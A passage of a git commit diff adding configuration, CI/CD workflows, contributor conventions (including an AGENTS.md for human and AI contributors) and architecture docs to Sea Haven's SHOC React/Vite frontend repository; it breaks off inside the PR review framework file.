commit d0d08508d98572d6c2551bb2c17d74065476d200 Author: arthur.bassi Date: Tue Aug 4 14:47:51 2026 -0300 fix(work-orders): allow blank WO number in wizard create path diff --git a/.cursor/rules/seahaven-admin.mdc b/.cursor/rules/seahaven-admin.mdc new file mode 100644 index 00000000..a9d3acf0 --- /dev/null +++ b/.cursor/rules/seahaven-admin.mdc @@ -0,0 +1,52 @@ +--- +description: SeaHaven Admin — IrisLoan architecture, selective rebuild conventions +alwaysApply: true +--- + +# SeaHaven Admin — IrisLoan conventions + +## Stack + +- Vite SPA + React Router 7, TypeScript strict, Tailwind v4 + MUI +- HTTP: Ky with `credentials: "include"` (httpOnly cookies) +- Server state: TanStack Query; forms: React Hook Form + Zod +- **Do not use** in new code: Next.js, Redux, axios, `apiUtil.js`, `tokenUtility.js` + +## Target structure (`src/`) + +``` +api/ domain// app/ infra/query-key/ lib/ hooks/ +components/ui|common|layout/ config/menu.ts providers/ main.tsx +``` + +- `@/` alias for imports; new files in **kebab-case** (`use-debounce.ts`, `query-key.ts`) +- `pages/` is **reference only** for endpoints and business rules — delete after delivery in `domain/` + `app/` + +## HTTP and auth + +- Centralize paths in `api/api-paths.ts` and responses in `api/handle-api-response.ts` +- Auth via AuthProvider + cookies; do not create Redux slices for session + +## State and data + +- Cache and mutations: React Query + `infra/query-key/query-key.ts` +- Client defaults in `lib/query/query-client.ts` + +## Forms and UI + +- Zod schemas in `domain//schemas/`; thin views in `app/` +- Utility Tailwind + MUI components; **do not** import `site.css` in new code + +## Feature implementation flow + +1. Consult legacy in `pages//` (endpoints, fields, rules) +2. Create `domain//` (schemas, hooks, use-cases) +3. Thin view in `app/` + route in `app/routes.tsx` +4. Delete `pages//` when the new feature is ready + +## Tooling + +- Strict ESLint only on new architecture `.ts/.tsx`; legacy in `pages/` ignored +- Commits: Conventional Commits (`feat(scope): subject`) + +Reference: `docs/ARCHITECTURE_PLAN.md` diff --git a/.env b/.env new file mode 100644 index 00000000..292a14c0 --- /dev/null +++ b/.env @@ -0,0 +1 @@ +VITE_API_URL= diff --git a/.env.development b/.env.development new file mode 100644 index 00000000..2f34890a --- /dev/null +++ b/.env.development @@ -0,0 +1,5 @@ +# Development API URL (uses proxy) +VITE_API_URL=/api + +# Development API Target (for proxy) +VITE_API_TARGET=http://localhost:5141 diff --git a/.env.example b/.env.example new file mode 100644 index 00000000..1bd84acf --- /dev/null +++ b/.env.example @@ -0,0 +1,12 @@ +# API Configuration +# Copy this file to .env and update with your actual values + +# Backend API base URL (Ky prefixUrl). API route paths do NOT include /api — it comes from here. +# Development: use /api (Vite proxies /api to VITE_API_TARGET) +#VITE_API_URL=/api + +# Production: absolute URLs MUST include the /api path segment +VITE_API_URL=https://api.seahavenindustries.com/api + +# Development proxy target (used by vite.config.ts) +#VITE_API_TARGET=http://localhost:5141 diff --git a/.env.production b/.env.production new file mode 100644 index 00000000..1183d018 --- /dev/null +++ b/.env.production @@ -0,0 +1,4 @@ +# Production API base — the SPA calls the backend directly over HTTPS. +# NOTE: baked into the build at `vite build`, so this is the DEV value. Staging +# and prod builds must override VITE_API_URL per environment (api.staging..., etc.). +VITE_API_URL=https://api.dev.seahaven.com/api diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS new file mode 100644 index 00000000..083ec1a5 --- /dev/null +++ b/.github/CODEOWNERS @@ -0,0 +1,3 @@ +# All changes require an approving review from the internal-dev team. +# Enforced via the org "main branch protection" ruleset (require_code_owner_review). +* @Sea-Haven-Industries/internal-dev diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml new file mode 100644 index 00000000..ab2cfb56 --- /dev/null +++ b/.github/workflows/ci.yaml @@ -0,0 +1,43 @@ +name: CI + +on: + pull_request: + branches: [main, dev] + push: + branches: [main, dev] + +permissions: + contents: read + +jobs: + ci: + # Org reusable workflow (Node 24): format check, lint, build, unit tests. + uses: Sea-Haven-Industries/.github/.github/workflows/ci-typescript-frontend.yaml@main + with: + node-version: "24" + + governance: + # Repo-owned guarantee that every frontend quality gate runs from this + # repository, independent of (and in addition to) the reusable workflow. + # `npm run verify` is the single command that chains: format check, lint + # (--max-warnings=0), type-check + build, unit tests, then the governance + # checks in scripts/governance-check.mjs (godfile ratchet + changed-file + # maintainability gate). If the reusable workflow is later confirmed to run + # every gate, this job can be slimmed to `npm run governance`. + # + # GOVERNANCE_BASE points the changed-file gate at the right diff: + # PR -> the PR target branch (origin/) + # push-> the previous commit on the branch (github.event.before) + runs-on: ubuntu-latest + env: + GOVERNANCE_BASE: ${{ github.event_name == 'pull_request' && format('origin/{0}', github.base_ref) || github.event.before }} + steps: + - uses: actions/checkout@v4 + with: + fetch-depth: 0 + - uses: actions/setup-node@v4 + with: + node-version: "24" + cache: npm + - run: npm ci + - run: npm run verify diff --git a/.github/workflows/deploy.yml b/.github/workflows/deploy.yml new file mode 100644 index 00000000..4942324e --- /dev/null +++ b/.github/workflows/deploy.yml @@ -0,0 +1,38 @@ +name: Deploy + +# Continuous deployment to AWS (S3 + CloudFront) on push to `dev`. +# +# This is a thin caller of the org's reusable CD workflow. `cd-cdk.yaml` runs +# `cdk deploy` (provisioning the infra in infra/cdk) and then the +# post-deploy-script, which builds the SPA and syncs it to S3 + invalidates +# CloudFront. Both run as the OIDC deploy role created by the stack. +# +# When staging/prod accounts exist, add jobs keyed to their branches and their +# own AWS_DEPLOY_ROLE_ARN, reusing this same reusable workflow. + +on: + push: + branches: [dev] + workflow_dispatch: {} + +# OIDC needs id-token: write — it is never in the default token set and cannot +# be granted to the reusable workflow unless the caller has it. +permissions: + id-token: write + contents: read + +concurrency: + group: deploy-dev + cancel-in-progress: false + +jobs: + deploy: + uses: Sea-Haven-Industries/.github/.github/workflows/cd-cdk.yaml@main + with: + node-version: "24" + region: us-east-1 + cdk-dir: infra/cdk + stack-name: shoc-frontend-dev + post-deploy-script: scripts/deploy-web.sh + secrets: + deploy-role-arn: ${{ secrets.AWS_DEPLOY_ROLE_ARN }} diff --git a/.gitignore b/.gitignore new file mode 100644 index 00000000..5b09a167 --- /dev/null +++ b/.gitignore @@ -0,0 +1,48 @@ +# See https://help.github.com/articles/ignoring-files/ for more about ignoring files. + +# dependencies +/node_modules +/clone-legacy +/.pnp +.pnp.js + +# testing +/coverage +/test-results +/playwright-report +/blob-report +/playwright/.cache + +# production +/dist +/build + +# misc +.DS_Store +.env.local +.env.development.local +.env.test.local +.env.production.local + +npm-debug.log* +yarn-debug.log* +yarn-error.log* +db.txt +seed-data.sql +/backend + +# eslint +.eslintcache + +# typescript +*.tsbuildinfo + +# cdk (infra/cdk) +infra/cdk/node_modules +infra/cdk/cdk.out +infra/cdk/cdk.context.json +infra/cdk/*.d.ts +infra/cdk/bin/*.d.ts +infra/cdk/bin/*.js +infra/cdk/lib/*.d.ts +infra/cdk/lib/*.js diff --git a/.husky/commit-msg b/.husky/commit-msg new file mode 100644 index 00000000..a78cc751 --- /dev/null +++ b/.husky/commit-msg @@ -0,0 +1 @@ +npx commitlint --edit $1 diff --git a/.husky/pre-commit b/.husky/pre-commit new file mode 100644 index 00000000..2312dc58 --- /dev/null +++ b/.husky/pre-commit @@ -0,0 +1 @@ +npx lint-staged diff --git a/.prettierignore b/.prettierignore new file mode 100644 index 00000000..27f10fea --- /dev/null +++ b/.prettierignore @@ -0,0 +1,13 @@ +dist +build +node_modules +coverage +package-lock.json +*.tsbuildinfo + +# Legacy — format incrementally when touched (lint-staged) +src/pages/** +src/**/*.js +src/**/*.jsx +src/**/*.css +!src/styles/globals.css \ No newline at end of file diff --git a/.prettierrc b/.prettierrc new file mode 100644 index 00000000..2661d464 --- /dev/null +++ b/.prettierrc @@ -0,0 +1,15 @@ +{ + "semi": true, + "singleQuote": false, + "trailingComma": "all", + "printWidth": 100, + "tabWidth": 2, + "overrides": [ + { + "files": "*.mdc", + "options": { + "parser": "markdown" + } + } + ] +} diff --git a/AGENTS.md b/AGENTS.md new file mode 100644 index 00000000..2803356c --- /dev/null +++ b/AGENTS.md @@ -0,0 +1,81 @@ +# AGENTS.md — frontend mandatory conventions + +This file is the binding entry point for **every contributor — human or AI coding +or review agent** — working in this repository (`seahaven-new-app`, the SHOC +frontend). It makes the validated React/TypeScript conventions mandatory and +points to the operational documents and executable gates that enforce them. + +Read these before writing or reviewing code. They override generic "best +practice" suggestions from any agent or model. This repository contract may +strengthen, but never weaken, the workspace-level `AGENTS.md`. + +- [QUALITY_GATES.md](QUALITY_GATES.md) — the executable gates, the single + command, and the no-false-pass guarantees. +- [ARCHITECTURE_AND_CODE_QUALITY.md](ARCHITECTURE_AND_CODE_QUALITY.md) — the + MUST / MUST NOT conventions (conditional rendering, typography, forms, state, + data access, security, maintainability) with evidence and thresholds. +- [REVIEW_AND_PR_FRAMEWORK.md](REVIEW_AND_PR_FRAMEWORK.md) — the PR review + contract (exact-head review, board regression inventory, behavior-based + testing, security/performance/Big-O review, no style-only comments). +- [docs/FRONTEND_MAINTAINABILITY.md](docs/FRONTEND_MAINTAINABILITY.md) — the + detailed rationale for the conditional-rendering and typography rules. + +## One command to run every gate + +```bash +npm run verify +``` + +This chains the full set: Prettier check, ESLint (`--max-warnings=0`), TypeScript +build (`tsc -b && vite build`), unit tests (`vitest run`), and the governance +checks (`npm run governance`). **Do not claim a task is done until `npm run +verify` is green locally.** CI runs the same `npm run verify` in a repo-owned +`governance` job, so a green local run mirrors CI. + +## Non-negotiable rules (enforced; do not work around) + +These are already enforced by lint/build or the governance script. Disabling, +baselining, or per-line-suppressing them is forbidden (see exceptions below). + +- **No one-sided `cond ? : null`** — use `&&` or the `when` prop. +- **The left operand of `&&` in JSX must be entirely boolean** — coerce with + `Boolean(...)` / an explicit comparison; `{count && ...}` is rejected. +- **Shared `Text` for `p` / `h1`–`h6` / error typography** — raw `

`/`` and + the `vp-error` class outside `Text` are rejected. +- **Zero lint warnings** — `--max-warnings=0` makes a warning a failure; fix it, + do not silence it. +- **Hooks correctness** — the `react-hooks` recommended rules (including + `exhaustive-deps`) run under the zero-warnings gate. +- **Godfile ratchet** — no source file may exceed 500 lines. Existing named debt + has a frozen per-file cap that may only decrease. +- **Changed-file maintainability** — changed TS/TSX must meet + `complexity ≤ 20`, function `≤ 150` lines, `≤ 4` params, `≤ 4` depth. + +## How to add / change a convention + +1. Land it **green**: a new or tightened rule must ship with the codebase passing + it (a migration in the same change), not as a warning-only backlog. +2. If legacy would break, use changed-file enforcement or migrate it. Do not add + new baseline debt or raise a frozen cap. +3. Document the rule, its threshold, and its evidence in + [ARCHITECTURE_AND_CODE_QUALITY.md](ARCHITECTURE_AND_CODE_QUALITY.md). + +## Exceptions and the ADR process + +Exceptions are **not granted by disabling a rule inline**. To deviate: + +1. Record an **Architecture Decision Record** under `docs/adr/` + (`NNNN-title.md`: context, decision, consequences, alternatives). +2. Existing grandfathered entries may only be removed or have their caps + reduced. New entries and cap increases fail the governance gate. +3. Get it reviewed like any other change. The ADR + baseline entry is the + auditable record; an `eslint-disable` comment is not. + +## Toolchain (do not change without an ADR) + +React 19, TypeScript 6, Vite, Tailwind 4 + MUI, TanStack Query, React Hook Form + +Zod, Ky. Node ≥ 22.22.1 (CI runs Node 24); npm 11.16.0 (pinned via +`packageManager`, invoked through corepack). **No new dependencies without an +ADR** — prefer the libraries already established (see +[ARCHITECTURE_AND_CODE_QUALITY.md](ARCHITECTURE_AND_CODE_QUALITY.md) §Forms and +data access). diff --git a/ARCHITECTURE_AND_CODE_QUALITY.md b/ARCHITECTURE_AND_CODE_QUALITY.md new file mode 100644 index 00000000..3cd2aefc --- /dev/null +++ b/ARCHITECTURE_AND_CODE_QUALITY.md @@ -0,0 +1,125 @@ +# ARCHITECTURE_AND_CODE_QUALITY.md — MUST / MUST NOT conventions + +Mandatory React/TypeScript conventions for this repository. Each rule lists how +it is enforced. Detailed rationale for rendering and typography lives in +[docs/FRONTEND_MAINTAINABILITY.md](docs/FRONTEND_MAINTAINABILITY.md). When a rule +says "MUST", it is enforced by lint, build, or `npm run governance`; "SHOULD" +means it is a review-enforced convention backed by the +[PR review contract](REVIEW_AND_PR_FRAMEWORK.md). + +## Conditional rendering + +- **MUST** use `&&` or the `Text` `when` prop for one-sided conditions; never + `cond ? : null`. (ESLint `no-restricted-syntax`.) +- **MUST** make the left operand of `&&` in JSX entirely boolean. Coerce presence + with `Boolean(value)` (or `Boolean(a || b)`); preserve numeric/empty-string + semantics and TypeScript narrowing with `count > 0`, `value != null`. + `{count && }` renders `0` and is rejected by the type-aware + `seahaven/no-non-boolean-jsx-and` rule. (See FRONTEND_MAINTAINABILITY.md for + the approved guard forms.) +- **MUST NOT** widen typed element-slot props (`icon`, `action`, `actions`) back + to `ReactNode`; coerce with `Boolean(prop)` before `&&`. + +## Typography and feedback + +- **MUST** use `Text` from `@/components/ui/text` for paragraphs, headings, + descriptions, labels, captions, code, and async feedback. Raw `

` and + `

`–`

` are rejected. (ESLint `no-restricted-syntax`.) +- **MUST** use `Text variant="error"` for the `vp-error` styling; the + `vp-error` class on any non-`Text` element is rejected + (`seahaven/no-vp-error-outside-text`). Do not compose `vp-error` dynamically to + bypass the static check. +- **MUST NOT** pass `component`, `role`, or `aria-live` to `Text` — they are + omitted from `TextProps` so the variant contract (element, tone, live region) + cannot be overridden. Use `as` and `tone`. +- **SHOULD** keep the `feedback` (polite `status`) region mounted and toggle text + with `when`; mount `error` (assertive `alert`) on demand. + +## Forms and mutations + +- **MUST** use the libraries already established: **React Hook Form** for field + registration/lifecycle, **Zod** for validation and inferred types, **TanStack + Query** for server reads and mutations (pending/error state, invalidation, + retries). +- **MUST NOT** add **TanStack Form** alongside React Hook Form for one form. A + second form convention increases cognitive and dependency cost. Replacing + React Hook Form requires an approved repo-wide migration ADR with measured + benefits, a codemod/migration plan, and removal of the superseded dependency. +- **SHOULD** keep file upload selection/validation in a focused component and + drive upload progress/errors/retry through a TanStack Query mutation, not in a + route-sized page. + +## State ownership (bounded) + +- **MUST** keep query loading/error/empty state adjacent to the query result; + mutation pending/error state in the component that initiated the mutation. +- **MUST** compose focused state components instead of accumulating unrelated + booleans in a page. Route pages coordinate sections and navigation; reusable + sections own their interaction details. +- **SHOULD** render errors inline with accessible feedback (`Text +variant="error"`); reserve toasts for cross-page outcomes. + +## Data access + +- **MUST** keep TanStack Query keys **stable and descriptive** (a consistent + entity + identity tuple, co-located with the query). Unstable or ad-hoc keys + break caching and invalidation. (Review-enforced; a future lint rule is + tracked as a gap.) +- **MUST NOT** materialize large server collections into client state and then + filter/sort them in the component when the server (or a memoized, virtualized + layer) should own it. Prefer server-side filtering/pagination; if client-side + is required, memoize and avoid re-filtering on every render. (Review-enforced.) +- **MUST** invalidate the right query keys after a mutation so caches do not + show stale data. + +## Security + +- **MUST NOT** surface raw server error payloads, stack traces, or internal + identifiers to end users. Map server errors to a safe user-facing message + (e.g. `Text variant="error"`); log the full detail only to controlled channels. + (Review-enforced.) +- **MUST NOT** bake secrets, tokens, or account-specific values into the build. + Only `VITE_*` build-time vars are allowed, and they are baked into the bundle — + never put a secret in a `VITE_` variable. + +## Hooks, performance, and Big-O + +- **MUST** satisfy `react-hooks` recommended rules (including `exhaustive-deps`) + under the zero-warnings gate. +- **SHOULD** avoid `O(n²)` or worse work inside render/hot paths; memoize derived + data, key lists stably, and prefer server-side filtering for large sets + (reviewers flag algorithmic complexity — see REVIEW_AND_PR_FRAMEWORK.md). +- **SHOULD** keep renders pure; derive expensive values with `useMemo`/`useCallback` + only when measured to matter (no speculative memoization). + +## Maintainability (measured thresholds) + +Enforced by `npm run governance` ([QUALITY_GATES.md](QUALITY_GATES.md)). +These are conservative code-shape proxies for review focus. File length is not +proof of a god object, cyclomatic complexity is not runtime Big-O, and neither +substitutes for behavior tests, profiling, query-plan evidence, or reviewer +judgment. + +| Metric | Threshold | How enforced | +| --------------------- | ----------- | ------------------------------------------------------------------------------------------ | +| File length (godfile) | ≤ 500 lines | Whole-repo ratchet: any file over the cap not in `scripts/governance-baseline.json` fails. | +| Cyclomatic complexity | ≤ 20 | Changed-file ESLint `complexity`. | +| Function length | ≤ 150 lines | Changed-file ESLint `max-lines-per-function` (`skipComments`). | +| Parameters | ≤ 4 | Changed-file ESLint `max-params`. | +| Nesting depth | ≤ 4 | Changed-file ESLint `max-depth`. | + +**Why these are changed-file ratchets, not whole-repo errors:** measured against +the current codebase, the maintainability thresholds surface **72 violations +across ~51 legacy files** (45 function-length, 24 complexity, 3 params), and +**5 files exceed 500 lines**. Applying them repo-wide at `error` would block +legacy without a migration. Instead: + +- The **5 oversized files** are explicit grandfathered debt with frozen + per-file caps in `scripts/governance-baseline.json`. They may shrink but never + grow; new entries and cap increases fail. +- The **complexity/function-length/params/depth** rules apply to **changed** + TS/TSX on a PR/push, so new and modified code must comply while untouched + legacy is not blocked. Bring legacy into compliance when you next touch it. + +These thresholds are starting ratchets: tighten them (lower caps, fewer baseline +entries) as debt is paid down. Never raise them to make a change pass. diff --git a/QUALITY_GATES.md b/QUALITY_GATES.md new file mode 100644 index 00000000..b28babd0 --- /dev/null +++ b/QUALITY_GATES.md @@ -0,0 +1,54 @@ +# QUALITY_GATES.md — executable frontend gates + +The single command that runs **every** gate, locally and in CI: + +```bash +npm run verify +``` + +`verify` chains: `format:check` → `lint` → `build` (`tsc -b && vite build`) → +`test` (`vitest run`) → `governance`. A task is not done until this is green. + +## Gate matrix + +| Gate | Command / rule source | Enforced by | Scope | +| ----------------------------------- | ----------------------------------------------------------------------------------------------------------- | ---------------------- | ------------------------------------ | +| Formatting | `npm run format:check` (Prettier) | `verify` + lint-staged | Whole repo | +| Lint, zero warnings | `npm run lint` → `eslint . --max-warnings=0` | `verify` + CI | Governed TS/TSX (`eslint.config.js`) | +| Type-check + production build | `npm run build` → `tsc -b && vite build` | `verify` + CI | Whole app | +| Unit tests | `npm test` → `vitest run` | `verify` + CI | `src/test/**`, `config/**/*.test.ts` | +| Conditional rendering (no `: null`) | `no-restricted-syntax` in `eslint.config.js` | lint | Governed TSX | +| Boolean-only JSX `&&` | `seahaven/no-non-boolean-jsx-and` (type-aware) in `eslint-rules/` | lint | Governed TSX | +| Shared `Text` typography | `no-restricted-syntax` (raw `p`/`h1`–`h6`) + `seahaven/no-vp-error-outside-text` | lint | Governed TSX | +| Hooks correctness | `eslint-plugin-react-hooks` recommended (incl. `exhaustive-deps`) under zero-warnings | lint | Governed TS/TSX | +| Godfile ratchet (file length) | `scripts/governance-check.mjs` + `scripts/governance-baseline.json` | `governance` | `src/**`, `config/**` (non-test) | +| Changed-file maintainability | `scripts/governance-check.mjs` → ESLint (`complexity`, `max-lines-per-function`, `max-params`, `max-depth`) | `governance` | Changed TS/TSX vs base ref | + +## No-false-pass guarantees + +- **`--max-warnings=0`** — a warning is a failure. There is no "warning-only" + backlog; rules ship green (see AGENTS.md → How to add a convention). +- **Type-aware rules fail closed** — `seahaven/no-non-boolean-jsx-and` reports + when type services are unavailable rather than silently claiming safety. +- **Godfile ratchet is monotonic** — any new file over the cap, new baseline + entry, global cap increase, per-file cap increase, or growth beyond a frozen + legacy cap fails. Only cap reductions and entry removals are allowed. +- **Changed-file maintainability fails closed without a valid base** — in CI the + base ref is derived from `GITHUB_BASE_REF` (PR) or `github.event.before` + (push). An absent or unresolvable base is a failure, not a pass. + +## Where the gates run + +- **Locally:** `npm run verify`. `lint-staged` (via Husky) re-runs ESLint + + Prettier on staged files at commit; commitlint enforces Conventional Commits. +- **CI ([`.github/workflows/ci.yaml`](.github/workflows/ci.yaml)):** the org + reusable workflow (`ci-typescript-frontend.yaml`, Node 24) runs + format/lint/build/tests, **and** a repo-owned `governance` job runs + `npm run verify` so the maintainability ratchets are guaranteed from this + repository regardless of the reusable workflow. + +## Toolchain pin + +Node ≥ 22.22.1 (CI uses Node 24); npm 11.16.0 via `packageManager` (use +`corepack npm …` if your default `npm` is older). The lockfile is +`package-lock.json` v3; install with `npm ci`. diff --git a/README.md b/README.md new file mode 100644 index 00000000..51fc21d2 --- /dev/null +++ b/README.md @@ -0,0 +1,188 @@ +# SHOC Frontend (`shoc-frontend-new`) + +[![CI](https://github.com/Sea-Haven-Industries/shoc-frontend-new/actions/workflows/ci.yaml/badge.svg?branch=dev)](https://github.com/Sea-Haven-Industries/shoc-frontend-new/actions/workflows/ci.yaml) +[![Deploy](https://github.com/Sea-Haven-Industries/shoc-frontend-new/actions/workflows/deploy.yml/badge.svg)](https://github.com/Sea-Haven-Industries/shoc-frontend-new/actions/workflows/deploy.yml) +![TypeScript](https://img.shields.io/badge/TypeScript-3178C6?logo=typescript&logoColor=white) +![React](https://img.shields.io/badge/React-087EA4?logo=react&logoColor=white) +![Vite](https://img.shields.io/badge/Vite-646CFF?logo=vite&logoColor=white) +![AWS CDK](https://img.shields.io/badge/AWS_CDK-FF9900?logo=amazonwebservices&logoColor=white) + +Vite + React SPA for Sea Haven facility management (SHOC): work orders, vendor +portal, uplifts, and related admin features. This is the selective rebuild of +the legacy SHOC frontend — new code follows the IrisLoan.Admin conventions +documented in [`docs/ARCHITECTURE_PLAN.md`](docs/ARCHITECTURE_PLAN.md). + +- **GitHub:** `Sea-Haven-Industries/shoc-frontend-new` +- **Hosted at:** (dev environment; the only environment today) +- **Backend API:** `https://api.dev.seahaven.com/api` (called directly, cross-origin) — source: `Sea-Haven-Industries/shoc-backend` + +## Architecture + +Static SPA hosting on AWS, provisioned by a CDK app local to this repo +([`infra/cdk/`](infra/cdk/README.md)). CloudFront serves the built `dist/` +from a private S3 bucket; the SPA calls the backend directly over HTTPS at +`VITE_API_URL` (no `/api` proxy at the CDN — the backend allows CORS). + +```mermaid +graph LR + U[Browser] -->|HTTPS dev.seahaven.com| CF[CloudFront] + CF -->|OAC| S3[S3 seahaven-shoc-frontend-dev] + CF -.->|viewer-request fn| FN[SPA rewrite → /index.html] + U -->|HTTPS api.dev.seahaven.com/api CORS| API[SHOC backend API] + GH[GitHub Actions push to dev] -->|OIDC| ROLE[githubdeploy-shoc-frontend-new-dev] + ROLE -->|cdk deploy + s3 sync + invalidation| S3 +``` + +Frontend stack: React 19, TypeScript, Vite, Tailwind CSS 4 + MUI, TanStack +Query, React Router (via `@generouted/react-router`), React Hook Form + Zod, +Ky HTTP client. Source layout: `src/api/`, `src/domain/`, `src/app/` (see the +architecture plan for the keep/discard migration matrix). + +## AWS Resources + +Stack **`shoc-frontend-dev`** — CDK, account `396287094661`, region +`us-east-1`. Defined in [`infra/cdk/lib/frontend-stack.ts`](infra/cdk/lib/frontend-stack.ts). + +| Resource | Name | Purpose | +| ----------------------- | ---------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------- | +| S3 bucket | `seahaven-shoc-frontend-dev` | Private origin (BLOCK_ALL, SSE, versioned; OAC-only reads) | +| CloudFront distribution | (stack output `DistributionId`) | HTTPS static hosting on `dev.seahaven.com`, ACM `*.seahaven.com` | +| CloudFront Function | `SpaRewrite` | Viewer-request rewrite of extensionless paths to `/index.html` (deep links) | +| IAM role | `githubdeploy-shoc-frontend-new-dev` | GitHub Actions OIDC deploy role, trust scoped to `repo:Sea-Haven-Industries/shoc-frontend-new:ref:refs/heads/dev` | +| Route 53 records | A/AAAA apex alias in zone `dev.seahaven.com` (`Z07671212N75U4YLPWZR8`) | Points the custom domain at CloudFront | + +No Lambdas, queues, or databases — this stack is static hosting only. + +## Configuration + +### Secrets + +No Secrets Manager or SSM parameters. The one secret is a **GitHub Actions +repo secret**: + +| Secret | Purpose | +| --------------------- | ----------------------------------------------------------------------------------- | +| `AWS_DEPLOY_ROLE_ARN` | ARN of `githubdeploy-shoc-frontend-new-dev`, passed to the org reusable CD workflow | + +### Environment variables (build-time, `VITE_*`) + +| Variable | Description | Dev value | +| ----------------- | ------------------------------------------------------------ | --------------------------------------------------------------------------- | +| `VITE_API_URL` | Ky API base prefix, **baked into the build** at `vite build` | `/api` (dev server) / `https://api.dev.seahaven.com/api` (production build) | +| `VITE_API_TARGET` | Dev-proxy target for `/api` (Vite dev server only) | `http://localhost:5141` | + +`VITE_API_URL` supplies the full API prefix — route paths in `API_PATHS` do +**not** include `/api`. Absolute values **must end with `/api`**; +`vite.config.ts` enforces this via `config/api-url-contract.ts` and fails the +build otherwise. See [`.env.example`](.env.example), +[`.env.development`](.env.development), and [`.env.production`](.env.production). + +CDK context (domain, certificate ARN, hosted zone) lives in +[`infra/cdk/cdk.json`](infra/cdk/cdk.json) so CI runs `cdk deploy` with no flags. + +## Local Development + +Requirements: Node.js ≥ 22.22.1 (CI/CD run Node 24), npm 11.16.0 (pinned via +`packageManager`). + +```bash +npm ci +cp .env.example .env # then set VITE_API_URL=/api for local dev +npm run dev # Vite dev server on port 3000, proxies /api → VITE_API_TARGET +``` + +The dev proxy expects the `shoc-backend` API at `http://localhost:5141`; +override with `VITE_API_TARGET` (e.g. `https://api.dev.seahaven.com` to use +the deployed dev API). + +| Command | Description | +| ------------------------------------------ | -------------------------------------------------------- | +| `npm run dev` | Start Vite dev server on port 3000 | +| `npm run build` | Type-check (`tsc -b`) and production build to `dist/` | +| `npm run preview` | Preview the production build locally | +| `npm test` / `npm run test:watch` | Vitest unit tests (once / watch) | +| `npm run test:e2e` / `npm run test:e2e:ui` | Playwright e2e tests (headless / UI mode) | +| `npm run lint` / `npm run lint:fix` | ESLint (check / auto-fix) | +| `npm run format` / `npm run format:check` | Prettier (write / check) | +| `npm run governance` | Frontend governance checks (godfile + maintainability) | +| `npm run verify` | **All gates**: format + lint + build + test + governance | + +Husky + lint-staged run ESLint and Prettier on staged files at commit; +commitlint enforces conventional commit messages. Run `npx tsc --noEmit` (or +`npm run build`) before pushing to catch type errors early. + +## Contributing + +- Branch from `dev` with a kebab-case description and a prefix matching the + work: `feature/`, `bug/`, `hotfix/`, `chore/`, `docs/`, or `refactor/` + (e.g. `feature/vendor-portal-filters`, `chore/sea-haven-branding`). +- Commit messages follow + [Conventional Commits](https://www.conventionalcommits.org) — commitlint + rejects anything else at commit time. +- Open PRs against `dev`. Both `dev` and `main` are protected: every PR needs + a green CI run and an approving review from a code owner + (`@Sea-Haven-Industries/internal-dev`); new pushes dismiss stale approvals. + Merged branches are deleted automatically. +- Promotion flow: `feature/* → dev` (auto-deployed and verified on + `dev.seahaven.com`) `→ main` (production promotion — no prod environment + exists yet). + +## Deployment + +CI/CD uses the org's reusable workflows (no stored AWS keys — OIDC only): + +- **CI** ([`.github/workflows/ci.yaml`](.github/workflows/ci.yaml)) — on push + and PRs to `main`/`dev`, calls + `Sea-Haven-Industries/.github` → `ci-typescript-frontend.yaml` (Node 24): + format check, lint, build, tests; **and** runs a repo-owned `governance` job + that calls `npm run verify` so every gate (including the maintainability + ratchets in [`scripts/governance-check.mjs`](scripts/governance-check.mjs)) is + guaranteed from this repository. Conventions and gates are documented under + [`AGENTS.md`](AGENTS.md), [`QUALITY_GATES.md`](QUALITY_GATES.md), + [`ARCHITECTURE_AND_CODE_QUALITY.md`](ARCHITECTURE_AND_CODE_QUALITY.md), and + [`REVIEW_AND_PR_FRAMEWORK.md`](REVIEW_AND_PR_FRAMEWORK.md). +- **CD** ([`.github/workflows/deploy.yml`](.github/workflows/deploy.yml)) — on + push to `dev`, calls `Sea-Haven-Industries/.github` → `cd-cdk.yaml`, which + runs `cdk deploy` on `infra/cdk` (stack `shoc-frontend-dev`, `us-east-1`) + and then [`scripts/deploy-web.sh`](scripts/deploy-web.sh): `npm run build`, + `aws s3 sync dist/` (hashed assets immutable, `index.html` never cached), + CloudFront invalidation. Both run as the OIDC deploy role. + +One-time provisioning (OIDC provider, CDK bootstrap, first local deploy, +setting `AWS_DEPLOY_ROLE_ARN`) is documented in +[`infra/cdk/README.md`](infra/cdk/README.md). + +Manual deploy (emergency/reference only — needs credentials for the +external-dev AWS account; the normal path is push to `dev`): + +```bash +(cd infra/cdk && npx cdk deploy) +STACK_NAME=shoc-frontend-dev AWS_REGION=us-east-1 bash scripts/deploy-web.sh +``` + +## Operations + +- **Verify:** open after a green **Deploy** run in + the Actions tab; confirm a deep link (e.g. a work-orders route) loads + directly and API calls succeed. +- **Logs:** deploy logs live in GitHub Actions (CI + Deploy workflows). There + are no CloudWatch application logs — the stack is static hosting; runtime + errors surface in the browser and on the backend API's side. +- **Common failure modes:** + - _Stale content after deploy_ — the CloudFront invalidation step failed or + is still propagating; re-run the Deploy workflow or invalidate `/*` manually. + - _OIDC `AssumeRole` errors_ — the trust policy is scoped to pushes to `dev` + on this repo; deploys from other branches/repos are rejected by design. + - _Broken API requests after a build_ — `VITE_API_URL` missing the `/api` + suffix or carrying the wrong environment's host (it is baked in at build time). + - _CORS errors_ — the backend must allow the frontend origin; CloudFront does + not proxy `/api`. +- **CI and CD both fire on push to `dev` in parallel** — a red-CI commit still + deploys (matches the org's push-time-CD model; gating deploy on CI is known + follow-up work). + +## Documentation + +- Infra one-time setup and stack details: [`infra/cdk/README.md`](infra/cdk/README.md) +- Rebuild strategy and conventions: [`docs/ARCHITECTURE_PLAN.md`](docs/ARCHITECTURE_PLAN.md); + design system and UI docs under [`docs/`](docs/) diff --git a/REVIEW_AND_PR_FRAMEWORK.md b/REVIEW_AND_PR_FRAMEWORK.md new file mode 100644 index 00000000..977582f4 --- /dev/null +++ b/REVIEW_AND_PR_FRAMEWORK.md @@ -0,0 +1,81 @@ +# REVIEW_AND_PR_FRAMEWORK.md — PR review contract + +Every PR is reviewed against this contract, by humans and by review agents. The +goal is high-signal review: catch real behavior, security, performance, and +regression problems — not re-lint what the gates already enforce. + +## 1. Review the exact head + +- **MUST** review the diff at the **current PR head**, not a stale checkout. + Re-pull before reviewing if new commits landed; stale approvals are dismissed + on push by branch protection. +- **MUST** read the full diff of every changed file, including renames and + generated/mapper code, not only the "interesting" components. + +## 2. 